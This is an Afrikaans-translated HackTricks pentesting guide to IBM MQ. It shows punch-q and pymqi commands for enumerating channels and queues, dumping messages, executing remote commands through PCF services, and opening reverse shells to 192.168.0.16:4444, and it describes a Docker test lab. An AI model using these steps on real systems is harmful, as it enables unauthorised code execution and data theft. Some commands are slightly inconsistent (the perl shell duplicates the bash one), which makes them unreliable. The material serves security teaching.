# 1414 - Pentesting IBM MQ
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! * Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
## Basiese inligting IBM MQ is 'n IBM-tegnologie om boodskaprye te bestuur. Soos ander **boodskapmakelaar**-tegnologieë, is dit toegewy aan die ontvang, stoor, verwerk en klassifiseer van inligting tussen produsente en verbruikers. Standaard **stel dit IBM MQ TCP-poort 1414 bloot**. Soms kan die HTTP REST API op poort **9443** blootgestel word. Metriek (Prometheus) kan ook vanaf TCP-poort **9157** benader word. Die IBM MQ TCP-poort 1414 kan gebruik word om boodskappe, rykies, kanale, ... te manipuleer, maar **ook om die instansie te beheer**. IBM bied 'n groot tegniese dokumentasie aan wat beskikbaar is op [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq). ## Gereedskap 'n Voorgestelde gereedskap vir maklike uitbuiting is **[punch-q](https://github.com/sensepost/punch-q)**, met Docker-gebruik. Die gereedskap maak aktief gebruik van die Python-biblioteek `pymqi`. Vir 'n meer handmatige benadering, gebruik die Python-biblioteek **[pymqi](https://github.com/dsuch/pymqi)**. [IBM MQ-afhanklikhede](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) is nodig. ### Installeer pymqi **IBM MQ-afhanklikhede** moet geïnstalleer en gelaai word: 1. Skep 'n rekening (IBMid) op [https://login.ibm.com/](https://login.ibm.com/). 2. Laai IBM MQ-biblioteke af vanaf [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Vir Linux x86_64 is dit **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**. 3. Ontplooi (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`). 4. Voer `sudo ./mqlicense.sh` uit om lisensievoorwaardes te aanvaar. >As jy onder Kali Linux is, wysig die lêer `mqlicense.sh`: verwyder/kommentaar die volgende lyne (tussen lyne 105-110): > >```bash >if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] > then > echo "ERROR: This package is incompatible with this system" > echo " This package was built for ${BUILD_PLATFORM}" > exit 1 >fi >``` 5. Installeer hierdie pakkette: ```bash sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` 6. Voeg dan tijdelik die `.so` lêers by LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **voordat** jy ander gereedskap gebruik wat van hierdie afhanklikhede gebruik maak. Dan kan jy die projek [**pymqi**](https://github.com/dsuch/pymqi) kloon: dit bevat interessante kodefragmente, konstantes, ... Of jy kan die biblioteek direk installeer met: `pip install pymqi`. ### Gebruik van punch-q #### Met Docker Gebruik eenvoudig: `sudo docker run --rm -ti leonjza/punch-q`. #### Sonder Docker Kloon die projek [**punch-q**](https://github.com/sensepost/punch-q) en volg dan die leesmy vir installasie (`pip install -r requirements.txt && python3 setup.py install`). Daarna kan dit gebruik word met die `punch-q` opdrag. ## Enumerasie Jy kan probeer om die **queue bestuurder naam, die gebruikers, die kanale en die rye** te enumereer met **punch-q** of **pymqi**. ### Queue Bestuurder Soms is daar geen beskerming teen die verkryging van die Queue Bestuurder naam nie: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR ``` ### Kanale **punch-q** maak gebruik van 'n interne (veranderbare) woordelys om bestaande kanale te vind. Gebruik voorbeeld: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` Dit gebeur dat sommige IBM MQ-instanties **ongeagte** MQ-versoeke aanvaar, so `--username / --password` is nie nodig nie. Natuurlik kan toegangsregte ook verskil. Sodra ons een kanaalnaam kry (hier: `DEV.ADMIN.SVRCONN`), kan ons al die ander kanale opnoem. Die opnoeming kan basies gedoen word met hierdie kodefragment `code/examples/dis_channels.py` van **pymqi**: ```python import logging import pymqi logging.basicConfig(level=logging.INFO) queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' prefix = '*' args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as e: if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: logging.info('No channels matched prefix `%s`' % prefix) else: raise else: for channel_info in response: channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] logging.info('Found channel `%s`' % channel_name) qmgr.disconnect() ``` ... Maar **punch-q** bevat ook daardie deel (met meer inligting!). Dit kan geloods word met: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' Showing channels with prefix: "*"... | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | |----------------------|-------------------|---------|-----------|------------|-----------------|------------| | DEV.ADMIN.SVRCONN | Server-connection | | | | | | | DEV.APP.SVRCONN | Server-connection | app | | | | | | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | | SYSTEM.DEF.AMQP | AMQP | | | | | | | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | | SYSTEM.DEF.RECEIVER | Receiver | | | | | | | SYSTEM.DEF.REQUESTER | Requester | | | | | | | SYSTEM.DEF.SENDER | Sender | | | | | | | SYSTEM.DEF.SERVER | Server | | | | | | | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | ``` ### Rye Daar is 'n kodefragment met **pymqi** (`dis_queues.py`), maar **punch-q** maak dit moontlik om meer inligting oor die rye te bekom: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | | | | | | | GR Name | eue Nam | | | | | | | | | e | | |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | | 0 18.35.1 | E | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | # Truncated ``` ## Uitbuiting ### Stort boodskappe Jy kan 'n teiken(s)/kanaal(s) aanval om boodskappe daaruit te snuffel / stort (nie-destruktiewe operasie). *Voorbeelde:* ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump ``` **Moenie huiwer om op alle geïdentifiseerde toue te itereer nie.** ### Kode-uitvoering > 'n Paar besonderhede voordat ons voortgaan: IBM MQ kan op verskeie maniere beheer word: MQSC, PCF, Beheeropdrag. 'n Paar algemene lysies kan gevind word in die [IBM MQ-dokumentasie](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison). > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) is waarop ons fokus om op afstand met die instansie te kommunikeer. **punch-q** en verder **pymqi** is gebaseer op PCF-interaksies. > > Jy kan 'n lys van PCF-opdragte vind: > * [Vanaf die PCF-dokumentasie](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), en > * [vanaf konstantes](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). > > Een interessante opdrag is `MQCMD_CREATE_SERVICE` en die dokumentasie is beskikbaar [hier](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Dit neem 'n `StartCommand` as argument wat verwys na 'n plaaslike program op die instansie (voorbeeld: `/bin/sh`). > > Daar is ook 'n waarskuwing oor die opdrag in die dokumentasie: *"Aandag: Hierdie opdrag stel 'n gebruiker in staat om 'n willekeurige opdrag met mqm-bevoegdheid uit te voer. As regte verleen word om hierdie opdrag te gebruik, kan 'n kwaadwillige of sorgelose gebruiker 'n diens definieer wat jou stelsels of data beskadig, byvoorbeeld deur noodsaaklike lêers te verwyder."* > > *Let wel: altyd volgens die IBM MQ-dokumentasie (Administrasie Verwysing), is daar ook 'n HTTP-eindpunt by `/admin/action/qmgr/{qmgrName}/mqsc` om die ekwivalente MQSC-opdrag vir diensskepping (`DEFINE SERVICE`) uit te voer. Hierdie aspek word nog nie hier gedek nie.* Die skepping / verwydering van 'n diens met PCF vir uitvoering van 'n program op afstand kan gedoen word deur **punch-q**: **Voorbeeld 1** ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` > In die logboeke van IBM MQ kan jy lees dat die opdrag suksesvol uitgevoer is: > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: Die opdrag '808544aa7fc94c48' het begin. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` Jy kan ook bestaande programme op die rekenaar opnoem (hier `/bin/doesnotexist` ... bestaan nie): ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" Command: /bin/doesnotexist Arguments: -c id Service Name: 6e3ef5af652b4436 Creating service... Starting service... The program '/bin/doesnotexist' is not available on the remote system. Giving the service 0 second(s) to live... Cleaning up service... Done ``` **Wees bewus dat die program-lancering asinkronies is. Jy het dus 'n tweede item nodig om die uitbuiting te benut** ***(luisteraar vir omgekeerde dop, lêer-skepping op verskillende diens, data-eksfiltrering deur middel van netwerk ...)*** **Voorbeeld 2** Vir 'n maklike omgekeerde dop, bied **punch-q** ook twee omgekeerde dop-ladinge aan: * Een met bash * Een met perl *Natuurlik kan jy 'n aangepaste een bou met die `uitvoer`-opdrag.* Vir bash: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` Vir perl: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` ### Aangepaste PCF Jy kan in die IBM MQ-dokumentasie duik en direk die **pymqi** Python-biblioteek gebruik om 'n spesifieke PCF-opdrag te toets wat nie geïmplementeer is in **punch-q** nie. **Voorbeeld:** ```python import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: # Replace here with your custom PCF args and command # The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"} response = pcf.MQCMD_CUSTOM_COMMAND(args) except pymqi.MQMIError as e: print("Error") else: # Process response qmgr.disconnect() ``` As jy nie die konstante name kan vind nie, kan jy verwys na die [IBM MQ-dokumentasie](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors). > *Voorbeeld vir [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Desimaal = 73). Dit vereis die parameter `MQCA_CLUSTER_NAME` (Desimaal = 2029) wat `*` kan wees (Doc: ):* > > ```python > import pymqi > > queue_manager = 'MYQUEUEMGR' > channel = 'DEV.ADMIN.SVRCONN' > host = '172.17.0.2' > port = '1414' > conn_info = '%s(%s)' % (host, port) > user = 'admin' > password = 'passw0rd' > > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) > pcf = pymqi.PCFExecute(qmgr) > > try: > args = {2029: "*"} > response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: > print("Error") > else: > print(response) > > qmgr.disconnect() > ``` ## Toetsomgewing As jy die IBM MQ-gedrag en aanvalle wil toets, kan jy 'n plaaslike omgewing opstel gebaseer op Docker: 1. Skep 'n rekening op ibm.com en cloud.ibm.com. 2. Skep 'n gekonteneerde IBM MQ met: ```bash sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` Standaard is die verifikasie geaktiveer, die gebruikersnaam is `admin` en die wagwoord is `passw0rd` (Omgewingsveranderlike `MQ_ADMIN_PASSWORD`). Hier is die wagkamer se naam ingestel op `MYQUEUEMGR` (veranderlike `MQ_QMGR_NAME`). Jy moet IBM MQ aan die gang hê met sy poorte blootgestel: ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` > Die ou weergawe van IBM MQ docker-beelde is beskikbaar by: https://hub.docker.com/r/ibmcom/mq/. ## Verwysings * [mgeeky se gist - "Praktiese IBM MQ Penetration Testing notas"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) * [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) * [IBM MQ dokumentasie](https://www.ibm.com/docs/en/ibm-mq)